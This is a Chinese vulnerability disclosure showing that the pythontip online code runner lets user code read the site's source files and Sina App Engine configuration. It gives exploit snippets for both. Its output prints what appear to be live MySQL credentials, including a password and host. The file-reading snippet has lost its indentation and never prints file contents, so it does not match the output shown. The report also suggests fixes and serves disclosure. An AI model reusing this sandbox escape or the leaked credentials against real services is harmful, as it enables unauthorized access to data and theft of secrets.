在pythontip在线执行中可以获得程序源代码和程序配置
pythontip在线编程没有屏蔽os模块中的许多功能，也没有阻止open读取文件内容，导致源代码泄露；pythontip在线编程没有使用隔离的python程序导致可以使用sae模块读取程序配置。
在http://pythontip.sinaapp.com/coding/run运行：
import os
def get_filepaths(directory):
file_paths = [] # List which will store all of the full filepaths.
# Walk the tree.
for root, directories, files in os.walk(directory):
for filename in files:
# Join the two strings in order to form the full filepath.
filepath = os.path.join(root, filename)
file_paths.append(filepath) # Add it to the list.
return file_paths # Self-explanatory.
for p in get_filepaths("."):
if p[-2:] == "py":
f = open(p)
print "=========[" + p + "]========="
f.close()
del f
输出当前目录下全部python脚本内容，截取一部分如下：
=========[./manage.py]=========
#!/usr/bin/env python
import os
import sys
if __name__ == "__main__":
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "pythontip.settings")
from django.core.management import execute_from_command_line
（以后略）
再运行
import sae
print sae.const.MYSQL_USER
print sae.const.MYSQL_PASS
print sae.const.MYSQL_HOST
print sae.const.MYSQL_DB
print sae.const.MYSQL_PORT
输出：（显然是连接信息。虽然sae防止外部连接到数据库，但可能可以通过在线 编程读取到 数据库）
y0k0xwjnlj
wlw2jmzklz5i122j12i2zj3i34j33z2x3mhii4wy
w.rdc.sae.sina.com.cn
app_yunmei
3307
修复方案：
pythontip事实上已经阻止了部分函数执行（比如os中的execlp不能用，而且没有fork），推荐加强这方面的防护，也推荐使用虚拟化技术来运行python程序。 |
